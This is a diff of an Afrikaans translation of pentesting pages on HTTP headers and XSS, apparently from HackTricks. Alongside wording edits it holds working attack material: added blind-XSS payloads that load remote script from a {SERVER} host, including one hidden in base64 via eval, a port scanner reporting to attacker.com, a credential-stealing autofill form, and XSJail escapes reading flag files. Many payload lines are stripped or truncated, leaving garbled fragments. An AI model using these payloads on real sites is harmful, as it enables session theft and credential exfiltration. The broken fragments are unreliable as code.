X-Forwarded-For` (Kontroleer hop-by-hop koptekste) +- `Connection: close, X-Forwarded-For` (Kontroleer hop-by-hop koppe) Herskryf **ligging**: - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` -## Hop-by-Hop koptekste +## Hop-by-Hop koppe -'n Hop-by-hop koptekst is 'n koptekst wat ontwerp is om verwerk en verbruik te word deur die proxy wat tans die versoek hanteer, in teenstelling met 'n eind-tot-eind koptekst. +'n Hop-by-hop kop is 'n kop wat ontwerp is om verwerk en verbruik te word deur die proxy wat tans die versoek hanteer, in teenstelling met 'n eind-tot-eind kop. - `Connection: close, X-Forwarded-For` @@ -52,53 +52,54 @@ Herskryf **ligging**: ../../pentesting-web/http-request-smuggling/ {{#endref}} -## Cache Koptekste +## Cache Koppe -**Bediener Cache Koptekste**: +**Bediener Cache Koppe**: - **`X-Cache`** in die antwoord mag die waarde **`miss`** hê wanneer die versoek nie in die cache was nie en die waarde **`hit`** wanneer dit in die cache is -- Soortgelyke gedrag in die koptekst **`Cf-Cache-Status`** +- Soortgelyke gedrag in die kop **`Cf-Cache-Status`** - **`Cache-Control`** dui aan of 'n hulpbron in die cache gestoor word en wanneer die volgende keer die hulpbron weer in die cache gestoor sal word: `Cache-Control: public, max-age=1800` -- **`Vary`** word dikwels in die antwoord gebruik om **addisionele koptekste** aan te dui wat as **deel van die cache sleutel** behandel word, selfs al is hulle normaalweg nie gesleutel nie. -- **`Age`** definieer die tye in sekondes wat die objek in die proxy cache was. +- **`Vary`** word dikwels in die antwoord gebruik om **addisionele koppe** aan te dui wat as **deel van die cache sleutel** behandel word, selfs al is hulle normaalweg nie gesleutel nie. +- **`Age`** definieer die tyd in sekondes wat die objek in die proxy cache was. - **`Server-Timing: cdn-cache; desc=HIT`** dui ook aan dat 'n hulpbron in die cache was {{#ref}} ../../pentesting-web/cache-deception/ {{#endref}} -**Plaaslike Cache koptekste**: +**Plaaslike Cache koppe**: -- `Clear-Site-Data`: Koptekst om aan te dui watter cache verwyder moet word: `Clear-Site-Data: "cache", "cookies"` +- `Clear-Site-Data`: Kop om aan te dui watter cache verwyder moet word: `Clear-Site-Data: "cache", "cookies"` - `Expires`: Bevat datum/tyd wanneer die antwoord moet verval: `Expires: Wed, 21 Oct 2015 07:28:00 GMT` - `Pragma: no-cache` dieselfde as `Cache-Control: no-cache` -- `Warning`: Die **`Warning`** algemene HTTP koptekst bevat inligting oor moontlike probleme met die status van die boodskap. Meer as een `Warning` koptekst mag in 'n antwoord verskyn. `Warning: 110 anderson/1.3.37 "Response is stale"` +- `Warning`: Die **`Warning`** algemene HTTP kop bevat inligting oor moontlike probleme met die status van die boodskap. Meer as een `Warning` kop mag in 'n antwoord verskyn. `Warning: 110 anderson/1.3.37 "Response is stale"` ## Voorwaardes -- Versoeke wat hierdie koptekste gebruik: **`If-Modified-Since`** en **`If-Unmodified-Since`** sal met data geantwoord word slegs as die antwoord koptekst\*\*`Last-Modified`\*\* 'n ander tyd bevat. +- Versoeke wat hierdie koppe gebruik: **`If-Modified-Since`** en **`If-Unmodified-Since`** sal met data geantwoord word slegs as die antwoord kop\*\*`Last-Modified`\*\* 'n ander tyd bevat. - Voorwaardelike versoeke wat **`If-Match`** en **`If-None-Match`** gebruik, gebruik 'n Etag waarde sodat die webbediener die inhoud van die antwoord sal stuur as die data (Etag) verander het. Die `Etag` word geneem uit die HTTP antwoord. - Die **Etag** waarde word gewoonlik **bereken** op grond van die **inhoud** van die antwoord. Byvoorbeeld, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` dui aan dat die `Etag` die **Sha1** van **37 bytes** is. ## Bereik versoeke - **`Accept-Ranges`**: Dui aan of die bediener bereik versoeke ondersteun, en indien wel in watter eenheid die bereik uitgedruk kan word. `Accept-Ranges: ` -- **`Range`**: Dui die deel van 'n dokument aan wat die bediener moet terugstuur. -- **`If-Range`**: Skep 'n voorwaardelike bereik versoek wat slegs vervul word as die gegewe etag of datum met die afstandlike hulpbron ooreenstem. Gebruik om te voorkom dat twee bereik van onverenigbare weergawe van die hulpbron afgelaai word. -- **`Content-Range`**: Dui aan waar in 'n volle liggaam boodskap 'n gedeeltelike boodskap behoort. +- **`Range`**: Dui die deel van 'n dokument aan wat die bediener moet teruggee. Byvoorbeeld, `Range:80-100` sal die bytes 80 tot 100 van die oorspronklike antwoord met 'n statuskode van 206 Partial Content teruggee. Onthou ook om die `Accept-Encoding` kop uit die versoek te verwyder. +- Dit kan nuttig wees om 'n antwoord met arbitrêre weerkaatste javascript kode te kry wat andersins ontsnap kon word. Maar om dit te misbruik, moet jy hierdie koppe in die versoek inspuit. +- **`If-Range`**: Skep 'n voorwaardelike bereik versoek wat slegs vervul word as die gegewe etag of datum met die afstandlike hulpbron ooreenstem. Gebruik om te voorkom dat twee bereik van onverenigbare weergawes van die hulpbron afgelaai word. +- **`Content-Range`**: Dui aan waar in 'n volle liggaamsboodskap 'n gedeeltelike boodskap behoort. ## Boodskap liggaam inligting -- **`Content-Length`:** Die grootte van die hulpbron, in desimale getal van bytes. +- **`Content-Length`:** Die grootte van die hulpbron, in desimale aantal bytes. - **`Content-Type`**: Dui die media tipe van die hulpbron aan -- **`Content-Encoding`**: Gebruik om die kompressie algoritme aan te dui. -- **`Content-Language`**: Beskryf die menslike taal/tale wat bedoel is vir die gehoor, sodat dit 'n gebruiker toelaat om te onderskei volgens die gebruiker se eie verkose taal. -- **`Content-Location`**: Dui 'n alternatiewe ligging aan vir die teruggestuurde data. +- **`Content-Encoding`**: Gebruik om die kompressie-algoritme aan te dui. +- **`Content-Language`**: Beskryf die menslike taal/tale wat vir die gehoor bedoel is, sodat dit 'n gebruiker toelaat om te onderskei volgens die gebruiker se eie verkose taal. +- **`Content-Location`**: Dui 'n alternatiewe ligging aan vir die teruggegee data. -Vanuit 'n pentest oogpunt is hierdie inligting gewoonlik "nutteloos", maar as die hulpbron **beskerm** word deur 'n 401 of 403 en jy kan 'n **manier** vind om hierdie **inligting** te **kry**, kan dit **interessant** wees.\ +Vanuit 'n pentest oogpunt is hierdie inligting gewoonlik "nutteloos", maar as die hulpbron **beskerm** word deur 'n 401 of 403 en jy 'n **manier** kan vind om hierdie **inligting** te **kry**, kan dit **interessant** wees.\ Byvoorbeeld, 'n kombinasie van **`Range`** en **`Etag`** in 'n HEAD versoek kan die inhoud van die bladsy via HEAD versoeke lek: -- 'n versoek met die koptekst `Range: bytes=20-20` en met 'n antwoord wat `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` bevat, lek dat die SHA1 van die byte 20 is `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` +- 'n versoek met die kop `Range: bytes=20-20` en met 'n antwoord wat `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` bevat, lek dat die SHA1 van die byte 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` is ## Bediener Inligting @@ -107,12 +108,12 @@ Byvoorbeeld, 'n kombinasie van **`Range`** en **`Etag`** in 'n HEAD versoek kan ## Beheer -- **`Allow`**: Hierdie koptekst word gebruik om die HTTP metodes te kommunikeer wat 'n hulpbron kan hanteer. Byvoorbeeld, dit mag gespesifiseer word as `Allow: GET, POST, HEAD`, wat aandui dat die hulpbron hierdie metodes ondersteun. -- **`Expect`**: Gebruik deur die kliënt om verwagtinge oor te dra wat die bediener moet nakom vir die versoek om suksesvol verwerk te word. 'n Algemene gebruiksgeval behels die `Expect: 100-continue` koptekst, wat aandui dat die kliënt van plan is om 'n groot data payload te stuur. Die kliënt soek 'n `100 (Continue)` antwoord voordat hy met die oordrag voortgaan. Hierdie meganisme help om netwerkgebruik te optimaliseer deur op bedienerbevestiging te wag. +- **`Allow`**: Hierdie kop word gebruik om die HTTP metodes te kommunikeer wat 'n hulpbron kan hanteer. Byvoorbeeld, dit mag gespesifiseer word as `Allow: GET, POST, HEAD`, wat aandui dat die hulpbron hierdie metodes ondersteun. +- **`Expect`**: Gebruik deur die kliënt om verwagtinge oor te dra wat die bediener moet nakom vir die versoek om suksesvol verwerk te word. 'n Algemene gebruiksgeval behels die `Expect: 100-continue` kop, wat aandui dat die kliënt van plan is om 'n groot datapel te stuur. Die kliënt soek 'n `100 (Continue)` antwoord voordat hy met die oordrag voortgaan. Hierdie meganisme help om netwerkgebruik te optimaliseer deur op bedienerbevestiging te wag. ## Aflaaie -- Die **`Content-Disposition`** koptekst in HTTP antwoorde dui aan of 'n lêer **inline** (binne die webblad) vertoon moet word of as 'n **aanhegting** (afgelaai). Byvoorbeeld: +- Die **`Content-Disposition`** kop in HTTP antwoorde dui aan of 'n lêer **inline** (binne die webblad) vertoon moet word of as 'n **aanhegting** (afgelaai). Byvoorbeeld: ``` Content-Disposition: attachment; filename="filename.jpg" ``` @@ -147,13 +148,13 @@ el.innerHTML = escaped // Results in safe assignment. ``` ### **X-Content-Type-Options** -Hierdie kop voorkom MIME tipe sniffing, 'n praktyk wat kan lei tot XSS kwesbaarhede. Dit verseker dat blaaiers die MIME tipes wat deur die bediener gespesifiseer is, respekteer. +Hierdie kop voorkom MIME-tipe sniffing, 'n praktyk wat kan lei tot XSS kwesbaarhede. Dit verseker dat blaaiers die MIME-tipes wat deur die bediener gespesifiseer is, respekteer. ``` X-Content-Type-Options: nosniff ``` ### **X-Frame-Options** -Om clickjacking te bekamp, beperk hierdie kop wat dokumente in ``, ` ``` -Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodifiseer, dit **nie** **sal** **werk** nie, maar jy kan **hulle meng binne die payload**. +Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodifiseer, dit **sal nie** **werk** nie, maar jy kan **hulle meng binne die payload**. **Gebruik Hex en Octal kodering met `javascript:`** @@ -401,14 +401,14 @@ Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` -### XSS in "Onbenutbare merke" (verborgene invoer, skakel, kanoniek, meta) +### XSS in "Unexploitable tags" (hidden input, link, canonical, meta) -Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om verborgene invoer te misbruik met:** +Van [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om versteekte invoer te misbruik met:** ```html ``` -En in **meta-tags**: +En in **meta tags**: ```html .test {display:block; color: blue; width: 100%\} @@ -472,7 +472,7 @@ In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lêer of ### Ontsnapping van \` ingevoeg word, kan jy maklik die `` ingevoeg word, kan jy maklik die ` ``` @@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36)) /**/ ``` -**JavaScript kommentaar (van** [**JavaScript Kommentaar**](#javascript-comments) **trik)** +**JavaScript kommentaaren (van** [**JavaScript Kommentaaren**](#javascript-comments) **trik)** ```javascript //This is a 1 line comment /* This is a multiline comment*/ @@ -753,7 +753,7 @@ Moet ook nie vergeet nie dat **aan die einde van die genoemde pos** jy 'n verdui ### Koekie XSS -As jy 'n XSS kan ontketen deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te ontketen. Hiervoor kan jy die koekie toss aanval gebruik: +As jy 'n XSS kan ontketen deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te ontketen. Hiervoor kan jy die koekie tossing aanval gebruik: {{#ref}} ../hacking-with-cookies/cookie-tossing.md @@ -783,8 +783,8 @@ Jy kan kyk of die **reflekteerde waardes** **unicode genormaliseer** word op die ``` ### Ruby-On-Rails omseiling -As gevolg van **RoR mass assignment** word aanhalings in die HTML ingevoeg en dan word die aanhalingbeperking omseil en addisionele velde (onfocus) kan binne die tag bygevoeg word.\ -Form voorbeeld ([from this report](https://hackerone.com/reports/709336)), as jy die payload stuur: +As gevolg van **RoR massa toewysing** word aanhalings in die HTML ingevoeg en dan word die aanhaling beperking omseil en addisionele velde (onfocus) kan binne die etiket bygevoeg word.\ +Formulier voorbeeld ([from this report](https://hackerone.com/reports/709336)), as jy die payload stuur: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` @@ -824,16 +824,16 @@ Dan sal die onfocus-attribuut ingevoeg word en XSS plaasvind. window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS met header-inspuiting in 'n 302-respons +### XSS met header-inspuiting in 'n 302 antwoord -As jy vind dat jy **headers in 'n 302-omleidingrespons kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-responsliggaam interpreteer as die HTTP-responsstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos. +As jy vind dat jy **headers in 'n 302 Redirect antwoord kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrêre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos. In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-header kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\ Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-header_, `resource://`. -### Slegs Letters, Syfers en Punte +### Slegs Letters, Nommers en Punte -As jy in staat is om die **callback** aan te dui wat javascript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik. +As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik. ### Geldige ` ``` @@ -899,7 +899,7 @@ import moment from "moment" import { partition } from "lodash" ``` -Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger. +Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS ontketen. - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voorvertoning veroorsaak word, op te los. Dit werk soos volg: ```html @@ -932,9 +932,9 @@ Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/ In ander blaaiers kan ander **`Content-Types`** gebruik word om arbitrêre JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) -### xml Inhoudstype +### xml Inhouds tipe -As die bladsy 'n text/xml inhoudstype teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer: +As die bladsy 'n text/xml inhouds tipe teruggee, is dit moontlik om 'n naamruimte aan te dui en arbitrêre JS uit te voer: ```xml hello @@ -956,7 +956,7 @@ chrome-cache-to-xss.md ### XS Jails Ontsnapping -As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme: +As jy net 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -996,13 +996,13 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Toegang tot `require` indirek -[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) word modules deur Node.js binne 'n funksie toegedraai, soos volg: +[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules word deur Node.js binne 'n funksie toegedraai, soos volg: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -Daarom, as ons van daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om **`require`** te bekom: +Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om **`require`** te verkry: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1011,7 +1011,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanterings** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te verkry: +Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fout hanteerders** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te kry: ```javascript try { null.f() @@ -1270,7 +1270,7 @@ Laat die gebruiker toe om in die bladsy te navigeer sonder om 'n iframe te verla ``` > [!NOTE] -> Jy **sal nie in staat wees om die koekies vanaf JavaScript te bekom** as die HTTPOnly-vlag in die koekie gestel is. Maar hier is ['n paar maniere om hierdie beskerming te omseil](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is. +> Jy **sal nie in staat wees om die koekies vanaf JavaScript te bekom nie** as die HTTPOnly-vlag in die koekie gestel is. Maar hier is ['n paar maniere om hierdie beskerming te omseil](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is. ### Steel Bladsy Inhoud ```javascript @@ -1346,7 +1346,7 @@ q.shift()() ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -### Port Scanner (websockets) +### Poort Skandeerder (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i ``` -Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe ge-exfiltreer word. +Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe uitgelekt word. ### Keylogger @@ -1432,7 +1432,7 @@ shadow-dom.md https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} -### Blinde XSS lasladinge +### Blinde XSS-ladinge Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com) ```html @@ -1473,6 +1473,31 @@ Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
+ + + +'"> + + +'"> + + +'"> + + +javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==")) + + +'"> + + + + + + + + +{{constructor.constructor("import('{SERVER}/script.js')")()}} ``` ### Regex - Toegang tot Verborgen Inhoud @@ -1515,12 +1540,12 @@ Het jy XSS op 'n **webwerf wat caching gebruik**? Probeer **dit opgradeer na SSR ```python ``` -Gebruik dit om koekiebeperkings, XSS-filters en nog baie meer te omseil!\ +Gebruik dit om koekie-beperkings, XSS-filters en nog baie meer te omseil!\ Meer inligting oor hierdie tegniek hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### XSS in dinamies geskepte PDF -As 'n webblad 'n PDF skep met gebruikersbeheerde invoer, kan jy probeer om die **bot** wat die PDF skep te **mislei** om **arbitraire JS-kode** te **uit te voer**.\ +As 'n webblad 'n PDF skep met gebruikersbeheerde invoer, kan jy probeer om die **bot te mislei** wat die PDF skep om **arbitraire JS-kode** te **uit te voer**.\ As die **PDF-skeppende bot** 'n soort **HTML** **tags** vind, gaan dit dit **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak. {{#ref}} @@ -1533,6 +1558,14 @@ As jy nie HTML-tags kan inspuit nie, kan dit die moeite werd wees om te probeer pdf-injection.md {{#endref}} +### XSS in Amp4Email + +AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, toeganklik via [AMP components](https://amp.dev/documentation/components/?format=websites). + +Die [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud binne hul e-posse te interaksie. + +Voorbeeld [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). + ### XSS om lêers op te laai (svg) Laai 'n lêer soos die volgende op as 'n beeld (van [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): @@ -1593,7 +1626,7 @@ id="foo"/> ``` Vind **meer SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Verskeie JS Trukke & Relevante Inligting +## Verskeie JS Triks & Relevante Inligting {{#ref}} other-js-tricks.md @@ -1606,5 +1639,6 @@ other-js-tricks.md - [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list) - [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) +- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) {{#include ../../banners/hacktricks-training.md}}